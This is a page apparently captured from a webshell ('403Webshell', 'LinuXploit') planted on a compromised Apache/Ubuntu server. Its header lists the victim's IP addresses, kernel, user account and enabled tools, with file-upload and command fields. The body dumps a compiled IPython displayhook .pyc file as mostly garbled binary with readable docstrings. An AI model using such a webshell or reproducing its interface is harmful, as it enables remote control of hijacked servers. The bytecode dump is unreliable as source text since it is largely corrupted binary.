403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.52
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/core/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/core/__pycache__/displayhook.cpython-312.pyc
�

}�e�2��|�dZddlZddlZddlZddlZddlmZddl	m
Z
mZddlm
Z
Gd�de�ZGd�d	e�Zy)
zaDisplayhook for IPython.

This defines a callable class that IPython uses for `sys.displayhook`.
�N)�Configurable)�Instance�Float)�warnc����eZdZdZedd��Zedd��Zed�Zd�fd�	Z	e
d��Zd	�Zd
�Z
ed��Zd�Zd
�Zd�ZdZddd�Zd�Zd�Zd�Zd�Zdd�Zd�Zd�Z�xZS)�DisplayHookz�The custom IPython displayhook to replace sys.displayhook.

    This class does many things, but the basic idea is that it is a callable
    that gets called anytime user code returns a value.
    z1IPython.core.interactiveshell.InteractiveShellABCT)�
allow_nonez-IPython.core.interactiveshell.ExecutionResultg�������?c�v��tt|�
d	d|i|��d}|dkr
d|_d}n&||krd|_d}t	d|zd��nd|_||_||_d\|_|_|_	|j|j|jd�}|jjj|�y)
N�shell�rz6caching was disabled (min value for cache size is %s).)�
stacklevel���rr��_�__�___�)�superr�__init__�
do_full_cacher�
cache_sizerrrr�user_ns�update)�selfrr�kwargs�cache_size_min�
to_user_ns�	__class__s      ��:/usr/lib/python3/dist-packages/IPython/core/displayhook.pyrzDisplayHook.__init__$s����
�k�4�)�@��@��@�����?�!"�D���J�
�.�
(�!"�D���J��I�� �+,�
.�"#�D��$�����
�"*����t�w�t�x��&�&�d�g�g�D�H�H�=�
��
�
���!�!�*�-�c�.�|jjS�N)r�execution_count�rs r!�prompt_countzDisplayHook.prompt_count=s���z�z�)�)�)r"c���dtjvrA	|jjd}||jury|jjd=yy#t
$rYywxYw)z3Check if the user has set the '_' variable by hand.rN)�builtin_mod�__dict__rrr�KeyError)r�
user_values  r!�check_for_underscorez DisplayHook.check_for_underscoreFse��
�+�&�&�&�
�!�Z�Z�/�/��4�
��T�V�V�+���J�J�&�&�s�+�'���
��
�s�'A�A�	A!� A!c��	|jjjd}|j	|�S#t$rYywxYw)z2Should we silence the display hook because of ';'?���F)r�history_manager�input_hist_parsed�
IndexError�semicolon_at_end_of_expression)r�cells  r!�quietzDisplayHook.quietTsH��	��:�:�-�-�?�?��C�D�
�2�2�4�8�8��	�	��	�s�#6�	A�Ac�h�tj|�}ttj|j
��}t
|�D]g}|dtjtjtjtjfvr�G|dtjk(r
|ddk(ryyy)z=Parse Python expression and detects whether last token is ';'rr�;TFN)�_io�StringIO�list�tokenize�generate_tokens�readline�reversed�	ENDMARKER�NL�NEWLINE�COMMENT�OP)�
expression�sio�tokens�tokens    r!r3z*DisplayHook.semicolon_at_end_of_expression`s����l�l�:�&���h�.�.�s�|�|�<�=���f�%�	�E��Q�x�H�.�.����X�=M�=M�x�O_�O_�`�`���a��H�K�K�'�e�A�h�#�o���
	r"c��y)z.Start the displayhook, initializing resources.Nrr&s r!�start_displayhookzDisplayHook.start_displayhookos��r"c��tjj|jj�dj|jj�}|jr tjj|�yy)zyWrite the output prompt.

        The default implementation simply writes the prompt to
        ``sys.stdout``.
        z	Out[{}]: N)�sys�stdout�writer�separate_out�formatr%r)r�	outprompts  r!�write_output_promptzDisplayHook.write_output_promptssZ��	�
�
������0�0�1��&�&�t�z�z�'A�'A�B�	�����J�J���Y�'�r"c�L�|jjj|�S)a�Compute format data of the object to be displayed.

        The format data is a generalization of the :func:`repr` of an object.
        In the default implementation the format data is a :class:`dict` of
        key value pair where the keys are valid MIME types and the values
        are JSON'able data structure containing the raw data for that MIME
        type. It is up to frontends to determine pick a MIME to to use and
        display that data in an appropriate manner.

        This method only computes the format data for the object and should
        NOT actually print or write that to a stream.

        Parameters
        ----------
        result : object
            The Python object passed to the display hook, whose format will be
            computed.

        Returns
        -------
        (format_dict, md_dict) : dict
            format_dict is a :class:`dict` whose keys are valid MIME types and values are
            JSON'able raw data for that MIME type. It is recommended that
            all return values of this should always include the "text/plain"
            MIME type representation of the object.
            md_dict is a :class:`dict` with the same MIME type keys
            of metadata associated with each output.

        )r�display_formatterrO�r�results  r!�compute_format_datazDisplayHook.compute_format_datas��<�z�z�+�+�2�2�6�:�:r"Fc�,�d|vry|d}d|vr|jsd|z}	t|�y#t$r]t|jtj
jd�jtj
j��YywxYw)aWrite the format data dict to the frontend.

        This default version of this method simply writes the plain text
        representation of the object to ``sys.stdout``. Subclasses should
        override this method to send the entire `format_dict` to the
        frontends.

        Parameters
        ----------
        format_dict : dict
            The format dict for the object passed to `sys.displayhook`.
        md_dict : dict (optional)
            The metadata dict to be associated with the display data.
        �
text/plainN�
�backslashreplace)�prompt_end_newline�print�UnicodeEncodeError�encoderKrL�encoding�decode)r�format_dict�md_dict�result_reprs    r!�write_format_datazDisplayHook.write_format_data�s����{�*��"�,�/���;���*�*�"�[�0��	j��+���!�	j�
�+�$�$�S�Z�Z�%8�%8�9K�L�S�S�TW�T^�T^�Tg�Tg�h�i�	j�s�-�A#B�Bc��|j�r�||jjdu�r�t|jjd�|jk\r|jr|j�d}t
dd�D�cgc]}d|z��	c}D]O}||jjvr�t||�|jjj|�us�Nd}�Q|j|_
|j|_	||_dtjvrA|r?|jj|j|j|jd�d��i}|jrXd	|jz}|||<|jj|d��||jjd|j<y
y
y
y
cc}w)z7Update user_ns with various things like _, __, _1, etc.�_ohTr�rFr)�interactivez_%sN)rrr�lenr�
cull_cache�range�getattr�getrrrr)r*�pushr')rrU�
update_unders�i�unders�to_main�
new_results       r!�update_user_nszDisplayHook.update_user_ns�s����?�?�v�T�Z�Z�-?�-?��-F�F��4�:�:�%�%�e�,�-����@�T�EW�EW����!�!�M�*/��!�*�5�Q�3�q�5�5�
*������!3�!3�3���4��(��
�
�0B�0B�0F�0F�v�0N�N�$)�M�	
*��w�w�D�H��f�f�D�G��D�F��;�/�/�/�m��
�
���T�V�V�&*�g�g�&*�h�h�!0�=B� �D�
�G��!�!�"�T�%6�%6�6�
�&,��
�#��
�
����U��;�?E��
�
�"�"�5�)�$�*;�*;�<�	"�5 G�?��6s�Gc�@�|j�||j_yyr$)�exec_resultrUrTs  r!�fill_exec_resultzDisplayHook.fill_exec_result�s!�����'�&,�D���#�(r"c��d|vry|jjjr)|jjj|dd�|d|jjj
|j<y)zLog the output.rXN�output)r�logger�
log_output�	log_writer0�output_hist_reprsr')rras  r!r{zDisplayHook.log_output�sg���{�*���:�:���'�'��J�J���'�'��L�(A�8�L�4?��4M�	
�
�
�"�"�4�4�T�5F�5F�Gr"c��tjj|jj�tjj�y)z%Finish up all displayhook activities.N)rKrLrMr�
separate_out2�flushr&s r!�finish_displayhookzDisplayHook.finish_displayhook�s.���
�
������1�1�2��
�
���r"c�b�|j�|��|j�s�|j�|j�|j	|�\}}|j|�|j
|�|r#|j||�|j|�|j�yyy)z�Printing with history cache management.

        This is invoked every time the interpreter needs to print, and is
        activated by setting the variable sys.displayhook to it.
        N)
r-r5rIrQrVrtrwrdr{r��rrUrarbs    r!�__call__zDisplayHook.__call__s���	
�!�!�#���d�j�j�l��"�"�$��$�$�&�#'�#;�#;�F�#C� �K������'��!�!�&�)���&�&�{�G�<�����,��#�#�%�'3�r"c��|jjjdi�}t|�}t	t||jz�d�}tdj||���tt|��D]G\}}||k\ry|jjjd|zd�|j|d��Iy)z-Output cache is full, cull the oldest entriesrf�zVOutput cache limit (currently {sz} entries) hit.
Flushing oldest {cull_count} entries.)�sz�
cull_countz_%iN)rrrmri�max�int�
cull_fractionrrO�	enumerate�sorted�pop)r�ohr�r�rp�ns      r!rjzDisplayHook.cull_caches���
�Z�Z�
�
�
#�
#�E�2�
.��
��W����R�$�"4�"4�4�5�q�9�
��5�5;�V�r�j�V�5Y�	[��f�R�j�)�	�D�A�q��J����J�J���"�"�5�1�9�d�3��F�F�1�d�O�		r"c���|jstd��td|jdz�D]@}dt	|�z}	|j
j|=	|j
j|=�B|j
jjdd�}|�|j�d\|_|_|_
dtjvrG|j
jj!|j|j|jd��ddl}t$j&dk7r|j)�yy#t$rY��wxYw#t$rY��-wxYw)	NzJYou shouldn't have reached the cache flush if full caching is not enabled!rrrfrrr�cli)r�
ValueErrorrkr'�reprr�user_ns_hiddenr+rrm�clearrrrr)r*r�gcrK�platform�collect)rr��keyr�r�s     r!r�zDisplayHook.flush#s<���!�!��?�@�
@��q��*�*�Q�.�/�		�A��d�1�g�+�C�
��J�J�-�-�c�2�
��J�J�&�&�s�+�		��Z�Z�
�
�
#�
#�E�4�
0��
�>��H�H�J�%/�!��������k�*�*�*��J�J���%�%�4�6�6�t�w�w�T�X�X�&N�O���<�<�5� ��J�J�L�!��)�
��
���
��
�s$�E�E�	E�E�	E�E)Ni�r$)�returnN)�__name__�
__module__�__qualname__�__doc__rrrvrr�r�propertyr'r-r5�staticmethodr3rIrQrVr[rdrtrwr{r�r�rjr��
__classcell__)r s@r!rrs�����
�H� $�
&�E��J�&*�,�K��#�J�M�.�2�*��*��
9�����
�
(�;�B��'j�R"F�H-�N��
&�$�r"rc��eZdZdd�Zdd�Zy)�CapturingDisplayHookNc�(�||_|�g}||_yr$)r�outputs)rrr�s   r!rzCapturingDisplayHook.__init__Fs����
��?��G���r"c��|�y|jjj|�\}}|jj	||d��y)N)�data�metadata)rrSrOr��appendr�s    r!r�zCapturingDisplayHook.__call__Ls@���>��#�z�z�;�;�B�B�6�J���W������k�w�H�Ir"r$)r�r�r�rr�rr"r!r�r�Es
���Jr"r�)r��builtinsr)rK�ior8r;�traitlets.config.configurabler�	traitletsrr�warningsrr�objectr�rr"r!�<module>r�s>����
���6�%��k�,�k�\	J�6�Jr"

Youez - 2016 - github.com/yon3zu
LinuXploit